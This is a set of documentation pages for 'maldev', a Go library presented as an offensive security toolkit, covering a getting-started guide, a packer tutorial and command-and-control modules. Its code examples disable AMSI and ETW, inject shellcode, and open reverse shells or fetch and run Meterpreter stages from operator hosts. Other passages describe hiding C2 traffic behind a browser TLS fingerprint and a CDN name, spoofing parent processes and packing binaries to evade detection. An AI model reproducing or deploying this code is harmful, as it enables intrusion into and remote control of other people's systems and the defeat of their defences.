Documentation Index

← maldev README

The navigation spine for everything in docs/. Three ways in, depending on what you came for.

[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.

By role

By technique area

Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).

By MITRE ATT&CK ID

By package

Grouped by area, expandable. Click any package name to jump to its pkg.go.dev godoc; expand an area to scan every package's detection level and one-line summary in one place.

Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quiet → very-noisy); umbrella / variable packages show as —.

Cross-cutting guides

Conventions

Getting Started

← Back to README

Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.

Prerequisites

• Go 1.21+ installed
• Windows for most techniques (some work cross-platform)
• Basic Go knowledge (functions, packages, error handling)
• For OPSEC builds: garble (go install mvdan.cc/garble@latest)

Installation

go get github.com/oioio-space/maldev@latest

Core Concepts

What is maldev?

maldev is a library, not a framework. You import the packages you need and compose them:

The Five Levels of Stealth

Every technique has a detection level declared in its doc.go. Choose based on your threat model:

Find the detection level for any package on its tech-md page (e.g., docs/techniques/evasion/amsi-bypass.md) and in its doc.go # Detection level section.

The Caller Pattern

The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:

// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
    Method: inject.MethodCreateRemoteThread,
    PID:    pid,
})
injector.Inject(shellcode)

// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
    Method(inject.MethodCreateRemoteThread).
    PID(pid).
    IndirectSyscalls().
    Create()
injector.Inject(shellcode)

Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.

Your First Program

Step 1: Evasion (disable defenses)

package main

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
)

func main() {
    // Apply evasion techniques before doing anything suspicious
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),  // disable AMSI scanning
        etw.All(),               // disable ETW logging
    }
    evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}

Step 2: Load shellcode

import "github.com/oioio-space/maldev/crypto"

// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)

Step 3: Inject

import "github.com/oioio-space/maldev/inject"

cfg := &inject.Config{
    Method: inject.MethodCreateThread,  // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)

Step 4: Build for operations

# Development build (with logging)
make debug

# Release build (OPSEC, no strings, no debug info)
make release

Per-Package Quick-Reference

If you know the technique you want, jump straight to the matching package:

For the full layered map, see Architecture § Per-Package Quick-Reference.

What to Read Next

Terminology Quick Reference

Your first packed payload

5-step tutorial. Each step produces a tangible artefact you can inspect. By the end you'll have packed a Go EXE with SGN+LZ4, watched it run, and seen what the unpacked vs packed binaries look like side-by-side.

Audience: anyone who has Go ≥1.21 installed and 5 minutes. Prerequisites: none beyond the Go toolchain.

This is a tutorial in the Diátaxis sense — it teaches by hand-holding. If you already know what you want and need a recipe, the Cookbook is the page you want.

Step 1 — clone and verify

git clone https://github.com/oioio-space/maldev
cd maldev
go build ./...

✅ You should see: silence (no errors). The whole module compiled. If it fails, your Go is older than 1.21 — go version to check.

Step 2 — build a tiny victim binary

We'll pack a one-liner Go program. Make a scratch file:

mkdir -p /tmp/firstpack
cat > /tmp/firstpack/hello.go <<'GO'
package main
import "fmt"
func main() { fmt.Println("hello from a packed binary!") }
GO
GOOS=windows GOARCH=amd64 go build -o /tmp/firstpack/hello.exe /tmp/firstpack/hello.go
ls -la /tmp/firstpack/hello.exe

✅ You should see: hello.exe weighing ~1.8 MB. That's the input.

Step 3 — pack it

Use the packer CLI (operator-facing binary under cmd/packer/).

go run ./cmd/packer \
    -in /tmp/firstpack/hello.exe \
    -out /tmp/firstpack/hello-packed.exe \
    -rounds 3
ls -la /tmp/firstpack/hello-packed.exe

✅ You should see: a new hello-packed.exe, slightly larger (stub + SGN-encrypted body). Roughly the same size — packing doesn't compress by default, it encrypts the code section.

Step 4 — verify it's actually different

sha256sum /tmp/firstpack/hello.exe /tmp/firstpack/hello-packed.exe
strings /tmp/firstpack/hello.exe       | grep -i "hello from" | head
strings /tmp/firstpack/hello-packed.exe | grep -i "hello from" | head

✅ You should see:

• Different sha256s (obviously).
• The plain binary leaks the string hello from a packed binary!.
• The packed binary doesn't (encrypted, recovered at runtime).

That's the core OPSEC win: static analysis of the packed binary can't see your payload.

Step 5 — run it on a Windows host

If you have a Windows VM (or any Win10+ host with the file copied over):

hello-packed.exe

✅ You should see: hello from a packed binary! printed on stdout. The packed binary self-decrypts at runtime, jumps to the original entry point, your program runs normally.

What just happened

sequenceDiagram
    participant Disk as hello-packed.exe (disk)
    participant Loader as Windows loader
    participant Stub as Stage1 stub
    participant OEP as Original entry

    Disk->>Loader: LoadImage
    Loader->>Stub: jump to AddressOfEntryPoint
    Note over Stub: SGN decode (N rounds)
    Stub->>Stub: decrypt .text in place
    Stub->>OEP: jmp original_entrypoint
    OEP->>OEP: runtime.rt0_amd64
    OEP->>OEP: main.main

The stub at the new entry point peels off N rounds of SGN encoding, restores the original .text section in memory, then jumps to where the Go program expected to start.

Where to next

You now know how to:

• Build a maldev-managed binary.
• Pack it with the SGN+LZ4 stub.
• Verify the packing actually changed the on-disk artefact.

Pick a direction:

• More packer modes? → Cookbook: UPX-style packer + cover
• Inject a payload elsewhere? → Cookbook: Evasive injection
• Understand the architecture? → Concepts: Architecture
• Find a specific technique? → Techniques — per-package reference.

If you want the full chain (encrypt → evasion → inject → cleanup) walk through the Full chain cookbook entry.

C2 techniques

← maldev README · docs/index

The c2/* package tree is the implant's outbound communication layer plus the operator's listener side. Six sub-packages compose into a complete reverse-shell / staging / multi-session stack:

flowchart LR
    subgraph implant [Implant side]
        S[c2/shell<br>reverse shell]
        M[c2/meterpreter<br>MSF stager]
    end
    subgraph wire [Wire]
        T[c2/transport<br>TCP / TLS / uTLS]
        NP[c2/transport/namedpipe<br>SMB pipes]
        Cert[c2/cert<br>mTLS certs + pinning]
        T -.uses.-> Cert
    end
    subgraph operator [Operator side]
        MC[c2/multicat<br>multi-session listener]
    end
    S --> T
    S --> NP
    M --> T
    T --> MC
    NP --> MC

Where to start (novice path):

1. reverse-shell — the canonical "land a shell, react when it drops" loop. Most operators start and end here.
2. transport — pick TCP / TLS / uTLS based on what defenders inspect (table at top of that page).
3. namedpipe — for local IPC or SMB lateral movement when network egress isn't an option.
4. meterpreter — when the engagement needs a full MSF session, not just a shell.
5. multicat — operator-side listener when you have more than one agent. NEVER ship in implants.

Packages

Quick decision tree

MITRE ATT&CK

See also

• Operator path: build a reliable shell
• Detection eng path: C2 telemetry
• evasion — apply patches before the shell connects.
• useragent — pair with HTTP transports for realistic User-Agent headers.
• inject — stage execution surface for c2/meterpreter.

Reverse shell

← c2 index · docs/index

TL;DR

Implant calls home over any c2/transport and pipes a local interpreter (cmd.exe or /bin/sh) over the connection. The loop reconnects on drop with configurable retry count and back-off delay. Unix path allocates a PTY for full interactive use; Windows path uses direct cmd.exe I/O and optionally patches AMSI / ETW / CLM / WLDP + disables PowerShell history before the shell starts.

What this DOES achieve:

• Cross-platform. Windows uses cmd.exe; Unix allocates a PTY for full readline / vi support.
• Optional pre-shell evasion (Windows): silence AMSI + ETW, disable PowerShell history, opt out of WLDP — done before the shell launches so the operator's first command isn't the loud one.
• Composable transport — same shell code works over TCP / TLS / uTLS based on Config.Transport.

What this does NOT achieve:

• Not a beacon — this is a long-lived TCP/TLS pipe, not a poll-based check-in. For sleep-mask / encrypted-page beacons, build on top with evasion/sleepmask.
• No staging — the interpreter (cmd.exe) is already on the target. For shellcode delivery / .NET assembly run, see pe/srdi + runtime/clr.
• cmd.exe is loud — process-creation event with cmd.exe parent = your implant fires every EDR's "command shell from non-shell process" rule. Use PPIDSpoofer + preset.Stealth to mute the worst signals; a real beacon stays cleaner.

Primer

Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.

Two common failure modes need explicit handling. Connections drop — the package wraps the connect / pipe loop in an automatic reconnect loop with configurable retry count and delay. Interpreter behaviour on Windows differs from Unix — Unix needs a PTY for vim / top / job control to work; Windows needs no PTY but does need careful stdio handling. The package abstracts both differences behind a single Shell type.

The Windows code path also exposes optional defence-patching: AMSI disable (so PowerShell stages survive scanning), ETW patching (so provider-based EDRs go quiet), CLM bypass (Constrained Language Mode restrictions disabled), WLDP patching (Windows Lockdown Policy relaxed), and PowerShell history disable (so Get-History post-mortem returns nothing).

How it works

stateDiagram-v2
    [*] --> Idle
    Idle --> Connecting : Start(ctx)
    Connecting --> Running : Connect OK
    Connecting --> Backoff : Connect fail
    Backoff --> Connecting : delay elapsed
    Running --> Backoff : transport drop
    Running --> Stopping : Stop()
    Backoff --> Stopping : Stop()
    Stopping --> [*] : Wait()

The Shell runs a strict state machine — Start is rejected on a running shell; Stop is rejected on an idle one. Transitions are mutex-guarded.

sequenceDiagram
    participant Op as "Operator listener"
    participant Imp as "Implant"
    participant Sh as "Local interpreter"

    loop until Stop or max retries
        Imp->>Op: transport.Connect()
        alt success
            Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
            Sh-->>Imp: stdio
            par implant→operator
                Imp->>Op: copy(stdin → socket)
            and operator→implant
                Op->>Imp: copy(socket → stdout)
            end
            Note over Imp: socket dropped<br>or Stop()
            Imp->>Sh: kill child
        else fail
            Imp->>Imp: backoff(delay)
        end
    end

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/shell is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Composed (TLS + cert pin)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

const operatorPin = "AB:CD:..." // SHA-256

tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
    transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Advanced (defence patching + PPID spoof + uTLS)

import (
    "context"
    "os/exec"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

_ = shell.PatchDefenses()

spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
    // The spoofer publishes a SysProcAttr the shell layer applies
    // to the spawned cmd.exe.
    _ = spoof
}

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second

sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet

Complex (full chain — evade + spoof + uTLS + reconnect forever)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses()                   // belt + braces

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second

sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()

See ExampleNew in shell_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-OCA — outbound-connection profiling.
• D3-PSA — cmd.exe parentage and command-line analysis.
• D3-NTA — TLS handshake + content metadata.

Hardening for the operator: prefer uTLS over plain TLS; pair PatchDefenses and PPID spoofing; randomise RetryDelay with random.Duration; fold the shell into a longer-lived host process that legitimately spawns command interpreters (maintenance scripts, build agents).

MITRE ATT&CK

Limitations

• Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
• PatchDefenses is best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.
• PTY only on Unix. Windows lacks a true PTY — interactive applications (vim, full-screen TUIs) misbehave.
• PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.

See also

• Transport — bytes-on-wire layer.
• Multicat — operator listener.
• Malleable profiles — HTTP-shaped variant.
• evasion/preset — apply before Start.
• process/spoofparent — alternative PPID spoofing implementation outside the shell package.

Transport (TCP / TLS / uTLS)

← c2 index · docs/index

TL;DR

Network layer behind every reverse shell, stager, or beacon. You pick the flavour based on what defenders inspect:

Pair with c2/cert to generate the operator's mTLS material and pin it on the implant side.

What this DOES achieve:

• Pluggable: every reverse shell / stager / beacon in maldev takes a transport.Config so the same payload flips between TCP / TLS / uTLS without recompiling.
• JA3/JA4 cover via uTLS — the canonical "implant looks like a browser" technique. Burp / mitmproxy can't readily detect.
• Optional certificate pinning by SHA-256 fingerprint — catches attempted MITM even when the attacker gets a valid cert from a public CA.

What this does NOT achieve:

• Doesn't hide that an outbound connection happened — netflow logs see "implant.exe → 1.2.3.4:443" regardless of TLS. Pair with evasion/preset.Stealth to silence ETW network providers from this process.
• uTLS fingerprint freshness — Chrome / Firefox update their ClientHello frequently; an old uTLS preset becomes its own fingerprint. Bump go-utls when shipping fresh campaigns.
• No domain fronting / no CDN routing — operator infra is whatever IP the implant connects to. For domain fronting, use a CDN that supports SNI rewrite outside this package.

Primer

Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.

This package addresses both. The TLS transport handles encryption plus optional certificate pinning — the implant refuses to talk to anyone whose certificate hash does not match a hard-coded value, so any TLS-inspection middlebox that re-signs traffic with a corporate CA is dropped. The UTLS transport replaces Go's TLS handshake with refraction-networking/utls, which mimics real browser ClientHello bytes — the network monitor sees "Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint ClientHello".

How it works

flowchart TD
    Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
    Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
    Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
    TCP --> Wire((wire))
    TLS --> Wire
    UT --> Wire
    Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]

All transports implement the same five-method Transport interface:

type Transport interface {
    Connect(ctx context.Context) error
    Read(p []byte) (int, error)
    Write(p []byte) (int, error)
    Close() error
    RemoteAddr() net.Addr
}

The Listener interface is the operator-side counterpart, used by c2/multicat to accept agents.

TLS fingerprint pinning

sequenceDiagram
    participant Imp as "Implant"
    participant MITM as "TLS-inspection proxy"
    participant Op as "Operator handler"

    Imp->>MITM: ClientHello
    MITM->>Op: ClientHello (re-originated)
    Op-->>MITM: ServerHello + cert (operator)
    MITM-->>Imp: ServerHello + cert (proxy CA-signed)
    Imp->>Imp: verifyFingerprint(cert) → mismatch
    Imp->>MITM: TLS abort

Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS variant) holds the operator's certificate hash. The implant rejects any certificate whose hash does not match — even if the corporate TLS-inspection CA is in the system trust store.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

Plain TCP for a localhost or already-tunnelled scenario:

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
    return err
}
_, _ = tr.Write([]byte("hello"))

Composed (TLS + cert pin)

Operator generates a cert and computes its fingerprint:

import "github.com/oioio-space/maldev/c2/cert"

_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant

Implant pins it:

tr := transport.NewTLS(
    "operator.example:8443",
    10*time.Second,
    "", "", // no client cert
    transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())

Any TLS-inspection proxy that re-signs the certificate fails the pin check.

Advanced (uTLS with Chrome JA3 + SNI)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())

Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.

Complex (full stack: cert + uTLS + shell + evasion)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

const operatorPin = "AB:CD:..." // SHA-256 hex

_ = evasion.ApplyAll(preset.Stealth(), nil)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(operatorPin),
)

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

D3FEND counters:

• D3-NTA — JA3 / SNI / cert-property correlation.
• D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
• D3-NTPM — egress proxy enforcement.

Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.

MITRE ATT&CK

Limitations

• Pin must travel with the implant. A hard-coded SHA-256 in the binary is recoverable by static analysis. Prefer build-time injection via //go:embed from a per-campaign cert.
• uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
• JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
• Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.

See also

• Reverse shell — primary consumer of the transport layer.
• Meterpreter — pulls stages over Transport.
• Malleable profiles — HTTP-shaped variant on top of any transport.
• Named pipe — local IPC alternative on Windows.
• useragent — pair with HTTP transports for realistic User-Agent headers.
• refraction-networking/utls — upstream of NewUTLS.

Meterpreter stager

← c2 index · docs/index

TL;DR

You want a Meterpreter session on the target without shipping the full Meterpreter binary (hundreds of KB, signature-rich). The classical pattern: a tiny stager pulls the second stage from your MSF multi/handler over the network and executes it in-process.

Transport options: TCP, HTTP, HTTPS, all routed through c2/transport (so you get TLS pinning, uTLS, etc. for free).

What this DOES achieve:

• Operator gets a full MSF session — file ops, port forwarding, privilege escalation modules, the lot.
• Stager is small enough to fit in a Donut shellcode payload or any inject.* flow.
• Cross-platform — same Go code stages on Windows / Linux.

What this does NOT achieve:

• Doesn't hide that you're staging Meterpreter — once the stage is in memory, MZ header + ReflectiveLoader byte signature flag every memory scanner. Pair with evasion/sleepmask so the bytes hide between callbacks.
• No automatic OPSEC for MSF traffic — the second stage is Meterpreter as-is. Defenders running detection on its protocol see standard MSF traffic. Use malleable-profiles to wrap HTTP staging only; the post-stage protocol is what MSF speaks.
• Network requirement — needs egress to your handler. For air-gapped or fully-offline ops, build a custom payload with pe/srdi instead.

Primer

Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.

Two parts of that flow are worth abstracting. First, the fetch is identical across Meterpreter implementations — connect, read four length bytes, read the stage, hand the buffer to the executor. Second, the execute is the most variable: a real engagement uses the inject package's full surface (Early Bird APC, indirect syscalls, XOR encoding, CPU delay) to defeat host-side telemetry. The package exposes a clean Config.Injector knob so the same stager works across stealth tiers.

The HTTP / HTTPS variants implement Metasploit's URI-checksum format expected by the handler (/<8 random chars> with a checksum byte). HTTPS supports InsecureSkipVerify for self-signed handlers and a configurable timeout.

How it works

sequenceDiagram
    participant Imp as "Implant (Stager)"
    participant H as "MSF multi/handler"

    Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
    H-->>Imp: stage length (4 bytes)
    Imp->>H: read stage
    H-->>Imp: stage bytes (~200 KB DLL or ELF)

    alt Config.Injector set (Windows)
        Imp->>Imp: inj.Inject(stage)
    else default self-injection
        Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
        Imp->>Imp: VirtualProtect(RX) + CreateThread
    end

    Note over Imp: Meterpreter session live on the same TCP / HTTPS connection

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/meterpreter is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
)

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Composed (HTTPS + InsecureSkipVerify)

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
    "github.com/oioio-space/maldev/inject"
)

inj, _ := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\notepad.exe`).
    IndirectSyscalls().
    WithFallback().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
    Injector:  inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Complex (remote inject into existing PID + HTTPS staging)

import "github.com/oioio-space/maldev/inject"

inj, _ := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(1234).
    IndirectSyscalls().
    WithFallback().
    Create()

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
    Injector:    inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

See ExampleNewStager in meterpreter_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-OCA — outbound-connection profiling.
• D3-FCR — YARA rules on the unpacked stage.

Hardening for the operator: always set Config.Injector for Windows engagements; combine with c2/transport uTLS + cert pinning; use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM on a custom stage) so the in-memory bytes do not match Meterpreter's public reflective-DLL signature.

MITRE ATT&CK

Limitations

• Linux Injector unsupported. The ELF wrapper protocol needs the live socket fd; Stage returns an error if cfg.Injector != nil on Linux.
• Public stage signatures. Defender, CrowdStrike, and SentinelOne fingerprint the unmodified Meterpreter reflective DLL. Custom-built stages (or crypto-wrapped stages your handler decrypts) are required against modern AV.
• Self-injection default is loud. VirtualAlloc + CreateThread is the textbook process-injection chain. Always set Config.Injector against any non-trivial defender.
• Single connection. No reconnect logic — if the stage download fails, the stager exits. Wrap in a higher-level retry loop or use c2/shell with a custom protocol if reconnect is needed.

See also

• Transport — pluggable wire layer alternative.
• inject — primary Config.Injector source.
• Reverse shell — when full Meterpreter is overkill.
• HD Moore et al., Metasploit Unleashed: Meterpreter — primer on the protocol.

Multicat — multi-session listener

← c2 index · docs/index

TL;DR

Operator-side counterpart to c2/shell. One Listener, many concurrent agents. Each inbound connection gets a sequential session ID, optional BANNER-encoded hostname metadata, and a lifecycle event (EventOpened / EventClosed) on the manager's channel. Sessions are in-memory only — they do not survive a manager restart. Never embedded in the implant.

⚠ Operator-side only: this is the listener that runs on your C2 box. NEVER include c2/multicat in implant builds — it would create a listener on the target.

What this DOES achieve:

• Replaces nc -lvp for ops with more than one host.
• Same transport flexibility as the implant side: TCP / TLS / uTLS / named pipes (when you receive over an SMB pipe) all work.
• Optional BANNER:<hostname>\n hello so the operator's UI can label sessions ("dc01" / "ws-finance-3") instead of 192.168.1.5:34521.

What this does NOT achieve:

• Not a TUI / UI — it's a manager library. Build your own CLI / web UI on top using the events channel.
• No persistence — manager restart = all sessions lost. Implants reconnect on drop (c2/shell.ReverseLoop), so sessions reappear quickly under their new IDs.
• No authentication — first connection in is session 1, no shared-secret check. Pair the transport with c2/transport cert pinning + mTLS to gate access.

Primer

Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener, accepts every incoming agent, assigns a session ID, optionally reads a BANNER:<hostname>\n hello line, and emits a typed event so an operator UI (TUI, web dashboard, anything) can render an arrival / departure stream.

The wire protocol is intentionally tiny: when an agent connects, multicat reads the first line with a 500 ms deadline. If the line matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname. All other bytes are part of the normal shell I/O stream and pass through. Agents that do not implement BANNER are unaffected.

The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.

How it works

sequenceDiagram
    participant Agent as "Implant (c2/shell)"
    participant Mgr as "multicat.Manager"
    participant Op as "Operator UI"

    Agent->>Mgr: Connect (transport)
    Mgr->>Mgr: assign session ID
    Mgr->>Agent: read first line (500ms deadline)
    Agent-->>Mgr: BANNER:lab-host-01\n  (optional)
    Mgr->>Op: Event{Type: EventOpened, Session: …}
    Note over Agent,Mgr: full-duplex shell I/O
    Agent->>Mgr: connection drop
    Mgr->>Op: Event{Type: EventClosed, Session: …}

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/multicat is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
)

ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()

for ev := range mgr.Events() {
    if ev.Type == multicat.EventOpened {
        fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
    }
}

Composed (TLS listener + BANNER agents)

Operator side:

ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)

Agent side (in c2/shell extension or custom code):

_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))

Advanced (channel multiplexer routing into a TUI)

go func() {
    for ev := range mgr.Events() {
        switch ev.Type {
        case multicat.EventOpened:
            ui.Add(ev.Session)
        case multicat.EventClosed:
            ui.Remove(ev.Session.Meta.ID)
        }
    }
}()

Complex

The Manager does not own session selection or interactive "foreground" semantics — that is the operator UI's job. See cmd/rshell for a reference TUI.

See ExampleNew in multicat_example_test.go.

OPSEC & Detection

This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).

The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.

MITRE ATT&CK

Limitations

• In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
• No interactive multiplexer. The package emits events; the operator UI implements foreground selection, scroll-back, kill-on- exit. cmd/rshell is the reference TUI.
• BANNER deadline is 500 ms. Lossy networks may miss the BANNER line and treat the bytes as shell I/O. The agent should retry or fall back to inline BANNER once authenticated.
• No authentication. multicat accepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).

See also

• Reverse shell — agent counterpart.
• Transport — listener factories (NewTCPListener, NewTLSListener).
• cmd/rshell — reference TUI built on multicat.

Named-pipe transport

← c2 index · docs/index

TL;DR

Windows named-pipe implementation of the c2/transport Transport and Listener interfaces. Lets implants beacon over local IPC (no socket, no firewall, no NIDS visibility) or over SMB to another host (lateral C2 routed through the file-share redirector). Pipe traffic is the textbook example of "looks like normal Windows".

What this DOES achieve:

• Local-IPC C2 has zero network footprint — netflow, firewall, NIDS see nothing. Defender memory-scan or process-tree analysis is the only path that catches it.
• SMB pipe lateral C2 blends into normal Windows file-share traffic. Networks that allow \\dc01\sysvol access already allow your pipe.
• Same Transport interface as TCP / TLS / uTLS — every shell / stager / beacon in maldev works over named pipes by changing one config field.

What this does NOT achieve:

• Local pipes are visible to local-host telemetry — Sysmon EID 17/18 (named-pipe create / connect) catches every pipe op. EDRs match on suspicious-process / suspicious-pipe combinations. Use random-looking pipe names to dodge static rules.
